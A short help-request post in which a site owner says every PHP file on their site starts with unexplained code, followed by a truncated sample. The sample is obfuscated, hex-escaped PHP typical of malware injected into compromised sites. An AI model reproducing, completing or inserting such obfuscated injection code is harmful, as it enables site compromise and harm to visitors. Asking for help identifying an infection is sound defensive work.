every php file has this chaotic beginning and I can not find anything about it
<?php $ljesujutqv = '5c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x782860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfshopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x5c%x7824<!%x5c%x7825mm!>!#]82#-#!#-%x5c%x7825tmw)pde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") &&
